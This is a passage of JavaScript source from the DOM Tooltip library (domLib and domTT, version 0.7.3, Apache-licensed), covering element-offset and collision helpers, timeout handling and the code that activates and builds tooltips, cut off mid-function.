}\r\n\r\n    // okay, we have a tip, so hunt and destroy\r\n    var objectOffsets = domLib_getOffsets(in_object);\r\n\r\n    for (var cnt = 0; cnt < domLib_collisionElements.length; cnt++)\r\n    {\r\n        var thisElement = domLib_collisionElements[cnt];\r\n\r\n        // if collision element is in active element, move on\r\n        // WARNING: is this too costly?\r\n        if (domLib_isDescendantOf(thisElement, in_object))\r\n        {\r\n            continue;\r\n        }\r\n\r\n        // konqueror only has trouble with multirow selects\r\n        if (domLib_isKonq &&\r\n            thisElement.tagName == 'SELECT' &&\r\n            (thisElement.size <= 1 && !thisElement.multiple))\r\n        {\r\n            continue;\r\n        }\r\n\r\n        if (!thisElement.hideList)\r\n        {\r\n            thisElement.hideList = new Hash();\r\n        }\r\n\r\n        var selectOffsets = domLib_getOffsets(thisElement);\r\n        var center2centerDistance = Math.sqrt(Math.pow(selectOffsets.get('leftCenter') - objectOffsets.get('leftCenter'), 2) + Math.pow(selectOffsets.get('topCenter') - objectOffsets.get('topCenter'), 2));\r\n        var radiusSum = selectOffsets.get('radius') + objectOffsets.get('radius');\r\n        // the encompassing circles are overlapping, get in for a closer look\r\n        if (center2centerDistance < radiusSum)\r\n        {\r\n            // tip is left of select\r\n            if ((objectOffsets.get('leftCenter') <= selectOffsets.get('leftCenter') && objectOffsets.get('right') < selectOffsets.get('left')) ||\r\n                // tip is right of select\r\n                (objectOffsets.get('leftCenter') > selectOffsets.get('leftCenter') && objectOffsets.get('left') > selectOffsets.get('right')) ||\r\n                // tip is above select\r\n                (objectOffsets.get('topCenter') <= selectOffsets.get('topCenter') && objectOffsets.get('bottom') < selectOffsets.get('top')) ||\r\n                // tip is below select\r\n                (objectOffsets.get('topCenter') > selectOffsets.get('topCenter') && objectOffsets.get('top') > selectOffsets.get('bottom')))\r\n            {\r\n                thisElement.hideList.remove(in_object.id);\r\n                if (!thisElement.hideList.length)\r\n                {\r\n                    thisElement.style.visibility = 'visible';\r\n                    if (domLib_isKonq)\r\n                    {\r\n                        thisElement.style.display = '';\r\n                    }\r\n                }\r\n            }\r\n            else\r\n            {\r\n                thisElement.hideList.set(in_object.id, true);\r\n                thisElement.style.visibility = 'hidden';\r\n                if (domLib_isKonq)\r\n                {\r\n                    thisElement.style.display = 'none';\r\n                }\r\n            }\r\n        }\r\n    }\r\n}\r\n\r\n// }}}\r\n// {{{ domLib_getOffsets()\r\n\r\nfunction domLib_getOffsets(in_object, in_preserveScroll)\r\n{\r\n    if (typeof(in_preserveScroll) == 'undefined') {\r\n        in_preserveScroll = false;\r\n    }\r\n\r\n    var originalObject = in_object;\r\n    var originalWidth = in_object.offsetWidth;\r\n    var originalHeight = in_object.offsetHeight;\r\n    var offsetLeft = 0;\r\n    var offsetTop = 0;\r\n\r\n    while (in_object)\r\n    {\r\n        offsetLeft += in_object.offsetLeft;\r\n        offsetTop += in_object.offsetTop;\r\n        in_object = in_object.offsetParent;\r\n        // consider scroll offset of parent elements\r\n        if (in_object && !in_preserveScroll)\r\n        {\r\n            offsetLeft -= in_object.scrollLeft;\r\n            offsetTop -= in_object.scrollTop;\r\n        }\r\n    }\r\n\r\n    // MacIE misreports the offsets (even with margin: 0 in body{}), still not perfect\r\n    if (domLib_isMacIE) {\r\n        offsetLeft += 10;\r\n        offsetTop += 10;\r\n    }\r\n\r\n    return new Hash(\r\n        'left',\t\toffsetLeft,\r\n        'top',\t\toffsetTop,\r\n        'right',\toffsetLeft + originalWidth,\r\n        'bottom',\toffsetTop + originalHeight,\r\n        'leftCenter',\toffsetLeft + originalWidth/2,\r\n        'topCenter',\toffsetTop + originalHeight/2,\r\n        'radius',\tMath.max(originalWidth, originalHeight)\r\n    );\r\n}\r\n\r\n// }}}\r\n// {{{ domLib_setTimeout()\r\n\r\nfunction domLib_setTimeout(in_function, in_timeout, in_args)\r\n{\r\n    if (typeof(in_args) == 'undefined')\r\n    {\r\n        in_args = [];\r\n    }\r\n\r\n    if (in_timeout == -1)\r\n    {\r\n        // timeout event is disabled\r\n        return 0;\r\n    }\r\n    else if (in_timeout == 0)\r\n    {\r\n        in_function(in_args);\r\n        return 0;\r\n    }\r\n\r\n    // must make a copy of the arguments so that we release the reference\r\n    var args = domLib_clone(in_args);\r\n\r\n    if (!domLib_hasBrokenTimeout)\r\n    {\r\n        return setTimeout(function() { in_function(args); }, in_timeout);\r\n    }\r\n    else\r\n    {\r\n        var id = domLib_timeoutStateId++;\r\n        var data = new Hash();\r\n        data.set('function', in_function);\r\n        data.set('args', args);\r\n        domLib_timeoutStates.set(id, data);\r\n\r\n        data.set('timeoutId', setTimeout('domLib_timeoutStates.get(' + id + ').get(\\'function\\')(domLib_timeoutStates.get(' + id + ').get(\\'args\\')); domLib_timeoutStates.remove(' + id + ');', in_timeout));\r\n        return id;\r\n    }\r\n}\r\n\r\n// }}}\r\n// {{{ domLib_clearTimeout()\r\n\r\nfunction domLib_clearTimeout(in_id)\r\n{\r\n    if (!domLib_hasBrokenTimeout)\r\n    {\r\n        if (in_id > 0) {\r\n            clearTimeout(in_id);\r\n        }\r\n    }\r\n    else\r\n    {\r\n        if (domLib_timeoutStates.has(in_id))\r\n        {\r\n            clearTimeout(domLib_timeoutStates.get(in_id).get('timeoutId'))\r\n            domLib_timeoutStates.remove(in_id);\r\n        }\r\n    }\r\n}\r\n\r\n// }}}\r\n// {{{ domLib_getEventPosition()\r\n\r\nfunction domLib_getEventPosition(in_eventObj)\r\n{\r\n    var eventPosition = new Hash('x', 0, 'y', 0, 'scrollX', 0, 'scrollY', 0);\r\n\r\n    // IE varies depending on standard compliance mode\r\n    if (domLib_isIE)\r\n    {\r\n        var doc = (domLib_standardsMode ? document.documentElement : document.body);\r\n        // NOTE: events may fire before the body has been loaded\r\n        if (doc)\r\n        {\r\n            eventPosition.set('x', in_eventObj.clientX + doc.scrollLeft);\r\n            eventPosition.set('y', in_eventObj.clientY + doc.scrollTop);\r\n            eventPosition.set('scrollX', doc.scrollLeft);\r\n            eventPosition.set('scrollY', doc.scrollTop);\r\n        }\r\n    }\r\n    else\r\n    {\r\n        eventPosition.set('x', in_eventObj.pageX);\r\n        eventPosition.set('y', in_eventObj.pageY);\r\n        eventPosition.set('scrollX', in_eventObj.pageX - in_eventObj.clientX);\r\n        eventPosition.set('scrollY', in_eventObj.pageY - in_eventObj.clientY);\r\n    }\r\n\r\n    return eventPosition;\r\n}\r\n\r\n// }}}\r\n// {{{ domLib_cancelBubble()\r\n\r\nfunction domLib_cancelBubble(in_event)\r\n{\r\n    var eventObj = in_event ? in_event : window.event;\r\n    eventObj.cancelBubble = true;\r\n}\r\n\r\n// }}}\r\n// {{{ domLib_getIFrameReference()\r\n\r\nfunction domLib_getIFrameReference(in_frame)\r\n{\r\n    if (domLib_isGecko || domLib_isIE)\r\n    {\r\n        return in_frame.frameElement;\r\n    }\r\n    else\r\n    {\r\n        // we could either do it this way or require an id on the frame\r\n        // equivalent to the name\r\n        var name = in_frame.name;\r\n        if (!name || !in_frame.parent)\r\n        {\r\n            return null;\r\n        }\r\n\r\n        var candidates = in_frame.parent.document.getElementsByTagName('iframe');\r\n        for (var i = 0; i < candidates.length; i++)\r\n        {\r\n            if (candidates[i].name == name)\r\n            {\r\n                return candidates[i];\r\n            }\r\n        }\r\n\r\n        return null;\r\n    }\r\n}\r\n\r\n// }}}\r\n// {{{ domLib_getElementsByClass()\r\n\r\nfunction domLib_getElementsByClass(in_class)\r\n{\r\n    var elements = domLib_isIE5 ? document.all : document.getElementsByTagName('*');\r\n    var matches = [];\r\n    var cnt = 0;\r\n    for (var i = 0; i < elements.length; i++)\r\n    {\r\n        if ((\" \" + elements[i].className + \" \").indexOf(\" \" + in_class + \" \") != -1)\r\n        {\r\n            matches[cnt++] = elements[i];\r\n        }\r\n    }\r\n\r\n    return matches;\r\n}\r\n\r\n// }}}\r\n// {{{ domLib_getElementsByTagNames()\r\n\r\nfunction domLib_getElementsByTagNames(in_list, in_excludeHidden)\r\n{\r\n    var elements = [];\r\n    for (var i = 0; i < in_list.length; i++)\r\n    {\r\n        var matches = document.getElementsByTagName(in_list[i]);\r\n        for (var j = 0; j < matches.length; j++)\r\n        {\r\n            // skip objects that have nested embeds, or else we get \"flashing\"\r\n            if (matches[j].tagName == 'OBJECT' && domLib_isGecko)\r\n            {\r\n                var kids = matches[j].childNodes;\r\n                var skip = false;\r\n                for (var k = 0; k < kids.length; k++)\r\n                {\r\n                    if (kids[k].tagName == 'EMBED')\r\n                    {\r\n                        skip = true;\r\n                        break;\r\n                    }\r\n                }\r\n                if (skip) continue;\r\n            }\r\n\r\n            if (in_excludeHidden && domLib_getComputedStyle(matches[j], 'visibility') == 'hidden')\r\n            {\r\n                continue;\r\n            }\r\n\r\n            elements[elements.length] = matches[j];\r\n        }\r\n    }\r\n\r\n    return elements;\r\n}\r\n\r\n// }}}\r\n// {{{ domLib_getComputedStyle()\r\n\r\nfunction domLib_getComputedStyle(in_obj, in_property)\r\n{\r\n    if (domLib_isIE)\r\n    {\r\n        var humpBackProp = in_property.replace(/-(.)/, function (a, b) { return b.toUpperCase(); });\r\n        return eval('in_obj.currentStyle.' + humpBackProp);\r\n    }\r\n    // getComputedStyle() is broken in konqueror, so let's go for the style object\r\n    else if (domLib_isKonq)\r\n    {\r\n        //var humpBackProp = in_property.replace(/-(.)/, function (a, b) { return b.toUpperCase(); });\r\n        return eval('in_obj.style.' + in_property);\r\n    }\r\n    else\r\n    {\r\n        return document.defaultView.getComputedStyle(in_obj, null).getPropertyValue(in_property);\r\n    }\r\n}\r\n\r\n// }}}\r\n// {{{ makeTrue()\r\n\r\nfunction makeTrue()\r\n{\r\n    return true;\r\n}\r\n\r\n// }}}\r\n// {{{ makeFalse()\r\n\r\nfunction makeFalse()\r\n{\r\n    return false;\r\n}\r\n\r\n// }}}\r\n\r\n/** $Id: domTT.js 2324 2006-06-12 07:06:39Z dallen $ */\r\n// {{{ license\r\n\r\n/*\r\n * Copyright 2002-2005 Dan Allen, Mojavelinux.com (dan.allen@mojavelinux.com)\r\n *\r\n * Licensed under the Apache License, Version 2.0 (the \"License\");\r\n * you may not use this file except in compliance with the License.\r\n * You may obtain a copy of the License at\r\n *\r\n *      http://www.apache.org/licenses/LICENSE-2.0\r\n *\r\n * Unless required by applicable law or agreed to in writing, software\r\n * distributed under the License is distributed on an \"AS IS\" BASIS,\r\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n * See the License for the specific language governing permissions and\r\n * limitations under the License.\r\n */\r\n\r\n// }}}\r\n// {{{ intro\r\n\r\n/**\r\n * Title: DOM Tooltip Library\r\n * Version: 0.7.3\r\n *\r\n * Summary:\r\n * Allows developers to add custom tooltips to the webpages.  Tooltips are\r\n * generated using the domTT_activate() function and customized by setting\r\n * a handful of options.\r\n *\r\n * Maintainer: Dan Allen <dan.allen@mojavelinux.com>\r\n * Contributors:\r\n * \t\tJosh Gross <josh@jportalhome.com>\r\n *\t\tJason Rust <jason@rustyparts.com>\r\n *\r\n * License: Apache 2.0\r\n * However, if you use this library, you earn the position of official bug\r\n * reporter :) Please post questions or problem reports to the newsgroup:\r\n *\r\n *   http://groups-beta.google.com/group/dom-tooltip\r\n *\r\n * If you are doing this for commercial work, perhaps you could send me a few\r\n * Starbucks Coffee gift dollars or PayPal bucks to encourage future\r\n * developement (NOT REQUIRED).  E-mail me for my snail mail address.\r\n\r\n *\r\n * Homepage: http://www.mojavelinux.com/projects/domtooltip/\r\n *\r\n * Newsgroup: http://groups-beta.google.com/group/dom-tooltip\r\n *\r\n * Freshmeat Project: http://freshmeat.net/projects/domtt/?topic_id=92\r\n *\r\n * Updated: 2005/07/16\r\n *\r\n * Supported Browsers:\r\n * Mozilla (Gecko), IE 5.5+, IE on Mac, Safari, Konqueror, Opera 7\r\n *\r\n * Usage:\r\n * Please see the HOWTO documentation.\r\n**/\r\n\r\n// }}}\r\n// {{{ settings (editable)\r\n\r\n// IE mouse events seem to be off by 2 pixels\r\nvar domTT_offsetX = (domLib_isIE ? -2 : 0);\r\nvar domTT_offsetY = (domLib_isIE ? 4 : 2);\r\nvar domTT_direction = 'southeast';\r\nvar domTT_mouseHeight = domLib_isIE ? 13 : 19;\r\nvar domTT_closeLink = 'X';\r\nvar domTT_closeAction = 'hide';\r\nvar domTT_activateDelay = 500;\r\nvar domTT_maxWidth = false;\r\nvar domTT_styleClass = 'domTT';\r\nvar domTT_fade = 'neither';\r\nvar domTT_lifetime = 0;\r\nvar domTT_grid = 0;\r\nvar domTT_trailDelay = 200;\r\nvar domTT_useGlobalMousePosition = true;\r\nvar domTT_postponeActivation = false;\r\nvar domTT_tooltipIdPrefix = '[domTT]';\r\nvar domTT_screenEdgeDetection = true;\r\nvar domTT_screenEdgePadding = 4;\r\nvar domTT_oneOnly = true;\r\nvar domTT_cloneNodes = false;\r\nvar domTT_detectCollisions = true;\r\nvar domTT_bannedTags = ['OPTION'];\r\nvar domTT_draggable = false;\r\nif (typeof(domTT_dragEnabled) == 'undefined')\r\n{\r\n    domTT_dragEnabled = false;\r\n}\r\n\r\n// }}}\r\n// {{{ globals (DO NOT EDIT)\r\n\r\nvar domTT_predefined = new Hash();\r\n// tooltips are keyed on both the tip id and the owner id,\r\n// since events can originate on either object\r\nvar domTT_tooltips = new Hash();\r\nvar domTT_lastOpened = 0;\r\nvar domTT_documentLoaded = false;\r\nvar domTT_mousePosition = null;\r\n\r\n// }}}\r\n// {{{ document.onmousemove\r\n\r\nif (domLib_useLibrary && domTT_useGlobalMousePosition)\r\n{\r\n    document.onmousemove = function(in_event)\r\n    {\r\n        if (typeof(in_event) == 'undefined') { in_event = window.event; }\r\n\r\n        domTT_mousePosition = domLib_getEventPosition(in_event);\r\n        if (domTT_dragEnabled && domTT_dragMouseDown)\r\n        {\r\n            domTT_dragUpdate(in_event);\r\n        }\r\n    }\r\n}\r\n\r\n// }}}\r\n// {{{ domTT_activate()\r\n\r\nfunction domTT_activate(in_this, in_event)\r\n{\r\n    if (!domLib_useLibrary || (domTT_postponeActivation && !domTT_documentLoaded)) { return false; }\r\n\r\n    // make sure in_event is set (for IE, some cases we have to use window.event)\r\n    if (typeof(in_event) == 'undefined') { in_event = window.event;\t}\r\n\r\n    // don't allow tooltips on banned tags (such as OPTION)\r\n    if (in_event != null) {\r\n        var target = in_event.srcElement ? in_event.srcElement : in_event.target;\r\n        if (target != null && (',' + domTT_bannedTags.join(',') + ',').indexOf(',' + target.tagName + ',') != -1)\r\n        {\r\n            return false;\r\n        }\r\n    }\r\n\r\n    var owner = document.body;\r\n    // we have an active event so get the owner\r\n    if (in_event != null && in_event.type.match(/key|mouse|click|contextmenu/i))\r\n    {\r\n        // make sure we have nothing higher than the body element\r\n        if (in_this.nodeType && in_this.nodeType != document.DOCUMENT_NODE)\r\n        {\r\n            owner = in_this;\r\n        }\r\n    }\r\n    // non active event (make sure we were passed a string id)\r\n    else\r\n    {\r\n        if (typeof(in_this) != 'object' && !(owner = domTT_tooltips.get(in_this)))\r\n        {\r\n            // NOTE: two steps to avoid \"flashing\" in gecko\r\n            var embryo = document.createElement('div');\r\n            owner = document.body.appendChild(embryo);\r\n            owner.style.display = 'none';\r\n            owner.id = in_this;\r\n        }\r\n    }\r\n\r\n    // make sure the owner has a unique id\r\n    if (!owner.id)\r\n    {\r\n        owner.id = '__autoId' + domLib_autoId++;\r\n    }\r\n\r\n    // see if we should only be opening one tip at a time\r\n    // NOTE: this is not \"perfect\" yet since it really steps on any other\r\n    // tip working on fade out or delayed close, but it get's the job done\r\n    if (domTT_oneOnly && domTT_lastOpened)\r\n    {\r\n        domTT_deactivate(domTT_lastOpened);\r\n    }\r\n\r\n    domTT_lastOpened = owner.id;\r\n\r\n    var tooltip = domTT_tooltips.get(owner.id);\r\n    if (tooltip)\r\n    {\r\n        if (tooltip.get('eventType') != in_event.type)\r\n        {\r\n            if (tooltip.get('type') == 'greasy')\r\n            {\r\n                tooltip.set('closeAction', 'destroy');\r\n                domTT_deactivate(owner.id);\r\n            }\r\n            else if (tooltip.get('status') != 'inactive')\r\n            {\r\n                return owner.id;\r\n            }\r\n        }\r\n        else\r\n        {\r\n            if (tooltip.get('status') == 'inactive')\r\n            {\r\n                tooltip.set('status', 'pending');\r\n                tooltip.set('activateTimeout', domLib_setTimeout(domTT_runShow, tooltip.get('delay'), [owner.id, in_event]));\r\n\r\n                return owner.id;\r\n            }\r\n            // either pending or active, let it be\r\n            else\r\n            {\r\n                return owner.id;\r\n            }\r\n        }\r\n    }\r\n\r\n    // setup the default options hash\r\n    var options = new Hash(\r\n        'caption',\t\t'',\r\n        'content',\t\t'',\r\n        'clearMouse',\ttrue,\r\n        'closeAction',\tdomTT_closeAction,\r\n        'closeLink',\tdomTT_closeLink,\r\n        'delay',\t\tdomTT_activateDelay,\r\n        'direction',\tdomTT_direction,\r\n        'draggable',\tdomTT_draggable,\r\n        'fade',\t\t\tdomTT_fade,\r\n        'fadeMax',\t\t100,\r\n        'grid',\t\t\tdomTT_grid,\r\n        'id',\t\t\tdomTT_tooltipIdPrefix + owner.id,\r\n        'inframe',\t\tfalse,\r\n        'lifetime',\t\tdomTT_lifetime,\r\n        'offsetX',\t\tdomTT_offsetX,\r\n        'offsetY',\t\tdomTT_offsetY,\r\n        'parent',\t\tdocument.body,\r\n        'position',\t\t'absolute',\r\n        'styleClass',\tdomTT_styleClass,\r\n        'type',\t\t\t'greasy',\r\n        'trail',\t\tfalse,\r\n        'lazy',\t\t\tfalse\r\n    );\r\n\r\n    // load in the options from the function call\r\n    for (var i = 2; i < arguments.length; i += 2)\r\n    {\r\n        // load in predefined\r\n        if (arguments[i] == 'predefined')\r\n        {\r\n            var predefinedOptions = domTT_predefined.get(arguments[i + 1]);\r\n            for (var j in predefinedOptions.elementData)\r\n            {\r\n                options.set(j, predefinedOptions.get(j));\r\n            }\r\n        }\r\n        // set option\r\n        else\r\n        {\r\n            options.set(arguments[i], arguments[i + 1]);\r\n        }\r\n    }\r\n\r\n    options.set('eventType', in_event != null ? in_event.type : null);\r\n\r\n    // immediately set the status text if provided\r\n    if (options.has('statusText'))\r\n    {\r\n        try { window.status = options.get('statusText'); } catch(e) {}\r\n    }\r\n\r\n    // if we didn't give content...assume we just wanted to change the status and return\r\n    if (!options.has('content') || options.get('content') == '' || options.get('content') == null)\r\n    {\r\n        if (typeof(owner.onmouseout) != 'function')\r\n        {\r\n            owner.onmouseout = function(in_event) { domTT_mouseout(this, in_event); };\r\n        }\r\n\r\n        return owner.id;\r\n    }\r\n\r\n    options.set('owner', owner);\r\n\r\n    domTT_create(options);\r\n\r\n    // determine the show delay\r\n    options.set('delay', (in_event != null && in_event.type.match(/click|mousedown|contextmenu/i)) ? 0 : parseInt(options.get('delay')));\r\n    domTT_tooltips.set(owner.id, options);\r\n    domTT_tooltips.set(options.get('id'), options);\r\n    options.set('status', 'pending');\r\n    options.set('activateTimeout', domLib_setTimeout(domTT_runShow, options.get('delay'), [owner.id, in_event]));\r\n\r\n    return owner.id;\r\n}\r\n\r\n// }}}\r\n// {{{ domTT_create()\r\n\r\nfunction domTT_create(in_options)\r\n{\r\n    var tipOwner = in_options.get('owner');\r\n    var parentObj = in_options.get('parent');\r\n    var parentDoc = parentObj.ownerDocument || parentObj.document;\r\n\r\n    // create the tooltip and hide it\r\n    // NOTE: two steps to avoid \"flashing\" in gecko\r\n    var embryo = parentDoc.createElement('div');\r\n    var tipObj = parentObj.appendChild(embryo);\r\n    tipObj.style.position = 'absolute';\r\n    tipObj.style.left = '0px';\r\n    tipObj.style.top = '0px';\r\n    tipObj.style.visibility = 'hidden';\r\n    tipObj.id = in_options.get('id');\r\n    tipObj.className = in_options.get('styleClass');\r\n\r\n    var contentBlock;\r\n    var tableLayout = false;\r\n\r\n    if (in_options.get('caption') || (in_options.get('type') == 'sticky' && in_options.get('caption') !== false))\r\n    {\r\n        tableLayout = true;\r\n        // layout the tip with a hidden formatting table\r\n        var tipLayoutTable = tipObj.appendChild(parentDoc.createElement('table'));\r\n        tipLayoutTable.style.borderCollapse = 'collapse';\r\n        if (domLib_isKHTML)\r\n        {\r\n            tipLayoutTable.cellSpacing = 0;\r\n        }\r\n\r\n        var tipLayoutTbody = tipLayoutTable.appendChild(parentDoc.createElement('tbody'));\r\n\r\n        var numCaptionCells = 0;\r\n        var captionRow = tipLayoutTbody.appendChild(parentDoc.createElement('tr'));\r\n        var captionCell = captionRow.appendChild(parentDoc.createElement('td'));\r\n        captionCell.style.padding = '0px';\r\n        var caption = captionCell.appendChild(parentDoc.createElement('div'));\r\n        caption.className = 'caption';\r\n        if (domLib_isIE50)\r\n        {\r\n            caption.style.height = '100%';\r\n        }\r\n\r\n        if (in_options.get('caption').nodeType)\r\n        {\r\n            caption.appendChild(domTT_cloneNodes ? in_options.get('caption').cloneNode(1) : in_options.get('caption'));\r\n        }\r\n        else\r\n        {\r\n            caption.innerHTML = in_options.get('caption');\r\n        }\r\n\r\n        if (in_options.get('type') == 'sticky')\r\n        {\r\n            var numCaptionCells = 2;\r\n            var closeLinkCell = captionRow.appendChild(parentDoc.createElement('td'));\r\n            closeLinkCell.style.padding = '0px';\r\n            var closeLink = closeLinkCell.appendChild(parentDoc.createElement('div'));\r\n            closeLink.className = 'caption';\r\n            if (domLib_isIE50)\r\n            {\r\n                closeLink.style.height = '100%';\r\n            }\r\n\r\n            closeLink.style.textAlign = 'right';\r\n            closeLink.style.cursor = domLib_stylePointer;\r\n            // merge the styles of the two cells\r\n            closeLink.style.borderLeftWidth = caption.style.borderRightWidth = '0px';\r\n            closeLink.style.paddingLeft = caption.style.paddingRight = '0px';\r\n            closeLink.style.marginLeft = caption.style.marginRight = '0px';\r\n            if (in_options.get('closeLink').nodeType)\r\n            {\r\n                closeLink.appendChild(in_options.get('closeLink').cloneNode(1));\r\n            }\r\n            else\r\n            {\r\n                closeLink.innerHTML = in_options.get('closeLink');\r\n            }\r\n\r\n            closeLink.onclick = function()\r\n            {\r\n                domTT_deactivate(tipOwner.id);\r\n            };\r\n            closeLink.onmousedown = function(in_event)\r\n            {\r\n                if (typeof(in_event) == 'undefined') { in_event = window.event; }\r\n                in_event.cancelBubble = true;\r\n            };\r\n            // MacIE has to have a newline at the end and must be made with createTextNode()\r\n            if (domLib_isMacIE)\r\n            {\r\n                closeLinkCell.appendChild(parentDoc.createTextNode(\"\\n\"));\r\n            }\r\n        }\r\n\r\n        // MacIE has to have a newline at the end and must be made with createTextNode()\r\n        if (domLib_isMacIE)\r\n        {\r\n            captionCell.appendChild(parentDoc.createTextNode(\"\\n\"));\r\n        }\r\n\r\n        var contentRow = tipLayoutTbody.appendChild(parentDoc.createElement('tr'));\r\n        var contentCell = contentRow.appendChild(parentDoc.createElement('td'));\r\n        contentCell.style.padding = '0px';\r\n        if (numCaptionCells)\r\n        {\r\n            if (domLib_isIE || domLib_isOpera)\r\n            {\r\n                contentCell.colSpan = numCaptionCells;\r\n            }\r\n            else\r\n            {\r\n                contentCell.setAttribute('colspan', numCaptionCells);\r\n            }\r\n        }\r\n\r\n        contentBlock = contentCell.appendChild(parentDoc.createElement('div'));\r\n        if (domLib_isIE50)\r\n        {\r\n            contentBlock.style.height = '100%';\r\n        }\r\n    }\r\n    else\r\n    {\r\n        contentBlock = tipObj.appendChild(parentDoc.createElement('div'));\r\n    }\r\n\r\n    contentBlock.className = 'contents';\r\n\r\n    var content = in_options.get('content');\r\n    // allow content has a function to return the actual content\r\n    if (typeof(content) == 'function') {\r\n        content = content(in_options.get('id'));\r\n    }\r\n\r\n    if (content != null && content.nodeType)\r\n    {\r\n        contentBlock.appendChild(domTT_cloneNodes ? content.cloneNode(1) : content);\r\n    }\r\n    else\r\n    {\r\n        contentBlock.innerHTML = content;\r\n    }\r\n\r\n    // adjust the width if specified\r\n    if (in_options.has('width'))\r\n    {\r\n        tipObj.style.width = parseInt(in_options.get('width')) + 'px';\r\n    }\r\n\r\n    // check if we are overridding the maxWidth\r\n    // if the browser supports maxWidth, the global setting will be ignored (assume stylesheet)\r\n    var maxWidth = domTT_maxWidth;\r\n    if (in_options.has('maxWidth'))\r\n    {\r\n        if ((maxWidth = in_options.get('maxWidth')) === false)\r\n        {\r\n            tipObj.style.maxWidth = domLib_styleNoMaxWidth;\r\n        }\r\n        else\r\n        {\r\n            maxWidth = parseInt(in_options.get('maxWidth'));\r\n            tipObj.style.maxWidth = maxWidth + 'px';\r\n        }\r\n    }\r\n\r\n    // HACK: fix lack of maxWidth in CSS for KHTML and IE\r\n    if (maxWidth !== false && (domLib_isIE || domLib_isKHTML) && tipObj.offsetWidth > maxWidth)\r\n    {\r\n        tipObj.style.width = maxWidth + 'px';\r\n    }\r\n\r\n    in_options.set('offsetWidth', tipObj.offsetWidth);\r\n    in_options.set('offsetHeight', tipObj.offsetHeight);\r\n\r\n    // konqueror miscalcuates the width of the containing div when using the layout table based on the\r\n    // border size of the containing div\r\n    if (domLib_isKonq && tableLayout && !tipObj.style.width)\r\n    {\r\n        var left = document.defaultView.getComputedStyle(tipObj, '').getPropertyValue('border-left-width');\r\n        var right = document.defaultView.getComputedStyle(tipObj, '').getPropertyValue('border-right-width');\r\n\r\n        left = left.substring(left.indexOf(':') + 2, left.indexOf(';'));\r\n        right = right.substring(right.indexOf(':') + 2, right.indexOf(';'));\r\n        var correction = 2 * ((left ? parseInt(left) : 0) + (right ? parseInt(right) : 0));\r\n        tipObj.style.width = (tipObj.offsetWidth - correction) + 'px';\r\n    }\r\n\r\n    // if a width is not set on an absolutely positioned object, both IE and Opera\r\n    // will attempt to wrap when it spills outside of body...we cannot have that\r\n    if (domLib_isIE || domLib_isOpera)\r\n    {\r\n        if (!tipObj.style.width)\r\n        {\r\n            // HACK: the correction here is for a border\r\n            tipObj.style.width = (tipObj.offsetWidth - 2) + 'px';\r\n        }\r\n\r\n        // HACK: the correction here is for a border\r\n        tipObj.style.height = (tipObj.offsetHeight - 2) + 'px';\r\n    }\r\n\r\n    // store placement offsets from event position\r\n    var offsetX, offsetY;\r\n\r\n    // tooltip floats\r\n    if (in_options.get('position') == 'absolute' && !(in_options.has('x') && in_options.has('y')))\r\n    {\r\n        // determine the offset relative to the pointer\r\n        switch (in_options.get('direction'))\r\n        {\r\n            case 'northeast':\r\n                offsetX = in_options.get('offsetX');\r\n                offsetY = 0 - tipObj.offsetHeight - in_options.get('offsetY');\r\n                break;\r\n            case 'northwest':\r\n                offsetX = 0 - tipObj.offsetWidth - in_options.get('offsetX');\r\n                offsetY = 0 - tipObj.offsetHeight - in_options.get('offsetY');\r\n                break;\r\n            case 'north':\r\n                offsetX = 0 - parseInt(tipObj.offsetWidth/2);\r\n                offsetY = 0 - tipObj.offsetHeight - in_options.get('offsetY');\r\n                break;\r\n            case 'southwest':\r\n                offsetX = 0 - tipObj.offsetWidth - in_options.get('offsetX');\r\n                offsetY = in_options.get('offsetY');\r\n                break;\r\n            case 'southeast':\r\n                offsetX = in_options.get('offsetX');\r\n                offsetY = in_options.get('offsetY');\r\n                break;\r\n            case 'south':\r\n                offsetX = 0 - parseInt(tipObj.offsetWidth/2);\r\n                offsetY = in_options.get('offsetY');\r\n                break;\r\n        }\r\n\r\n        // if we are in an iframe, get the offsets of the iframe in the parent document\r\n        if (in_options.get('inframe'))\r\n        {\r\n            var iframeObj = domLib_getIFrameReference(window);\r\n            if (iframeObj)\r\n            {\r\n                var frameOffsets = domLib_getOffsets(iframeObj);\r\n                offsetX += frameOffsets.get('left');\r\n                offsetY += frameOffsets.get('top');\r\n            }\r\n        }\r\n    }\r\n    // tooltip is fixed\r\n    else\r\n    {\r\n        offsetX = 0;\r\n        offsetY = 0;\r\n        in_options.set('trail', false);\r\n    }\r\n\r\n    // set the direction-specific offsetX/Y\r\n    in_options.set('offsetX', offsetX);\r\n    in_options.set('offsetY', offsetY);\r\n    if (in_options.get('clearMouse') && in_options.get('direction').indexOf('south') != -1)\r\n    {\r\n        in_options.set('mouseOffset', domTT_mouseHeight);\r\n    }\r\n    else\r\n    {\r\n        in_options.set('mouseOffset', 0);\r\n    }\r\n\r\n    if (domLib_canFade && typeof(Fadomatic) == 'function')\r\n    {\r\n        if (in_options.get('fade') != 'neither')\r\n        {\r\n            var fadeHandler = new Fadomatic(tipObj, 10, 0, 0, in_options.get('fadeMax'));\r\n            in_options.set('fadeHandler', fadeHandler);\r\n        }\r\n    }\r\n    else\r\n    {\r\n        in_options.set('fade', 'neither');\r\n    }\r\n\r\n    // setup mouse events\r\n    if (in_options.get('trail') && typeof(tipOwner.onmousemove) != 'function')\r\n    {\r\n        tipOwner.onmousemove = function(in_event) { domTT_mousemove(this, in_event); };\r\n    }\r\n\r\n    if (typeof(tipOwner.onmouseout) != 'function')\r\n    {\r\n        tipOwner.onmouseout = function(in_event) { domTT_mouseout(this, in_event); };\r\n    }\r\n\r\n    if (in_options.get('type') == 'sticky')\r\n    {\r\n        if (in_options.get('position') == 'absolute' && domTT_dragEnabled && in_options.get('draggable'))\r\n        {\r\n            if (domLib_isIE)\r\n            {\r\n                captionRow.onselectstart = function() { return false; };\r\n            }\r\n\r\n            // setup drag\r\n            captionRow.onmousedown = function(in_event) { domTT_dragStart(tipObj, in_event);  };\r\n            captionRow.onmousemove = function(in_event) { domTT_dragUpdate(in_event); };\r\n            captionRow.onmouseup = function() { domTT_dragStop(); };\r\n        }\r\n    }\r\n    else if (in_options.get('type') == 'velcro')\r\n    {\r\n        /* can use once we have deactivateDelay\r\n\t\ttipObj.onmouseover = function(in_event)\r\n\t\t{\r\n\t\t\tif (typeof(in_event) == 'undefined') { in_event = window.event; }\r\n\t\t\tvar tooltip = domTT_tooltips.get(tipObj.id);\r\n\t\t\tif (in_options.get('lifetime')) 